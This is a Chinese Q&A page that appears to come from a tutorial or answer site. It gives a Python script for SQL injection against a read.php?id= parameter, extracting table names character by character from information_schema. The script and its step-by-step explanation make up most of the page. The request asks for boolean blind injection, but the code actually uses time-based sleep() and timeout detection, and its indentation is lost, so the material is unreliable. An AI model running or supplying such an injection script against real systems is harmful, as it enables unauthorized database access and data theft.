利用Python编程实现布尔型盲注脚本(URL地址:http://server/read.php?id=1)完成表名获取
时间: 2024-01-01 07:06:30 浏览: 101
以下是一个简单的Python脚本,可以用于实现基本的布尔型盲注,获取表名:
```python
import requests
url = "http://server/read.php?id=1' and if(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),{},1)='{}',sleep(5),1)-- -"
table_name = ""
for i in range(1, 20):
for j in range(32, 128):
payload = url.format(i, chr(j))
try:
response = requests.get(payload, timeout=1)
except requests.exceptions.Timeout:
table_name += chr(j)
print(table_name)
break
```
这个脚本使用了requests库来发送HTTP请求,具体实现的过程如下:
1. 定义目标URL地址,并在其中嵌入SQL注入语句。
2. 循环遍历表名的每一个字符,使用if语句判断该字符是否与目标表名的当前字符相同。如果相同,则在注入语句中增加一个sleep函数,使得响应时间增加;否则,不增加sleep函数。
3. 发送HTTP请求,并捕获requests.exceptions.Timeout异常。如果发生超时异常,说明当前字符是正确的,将其添加到表名字符串中,并打印出来。
4. 重复上述步骤,直到获取到完整的表名。
阅读全文
相关推荐


















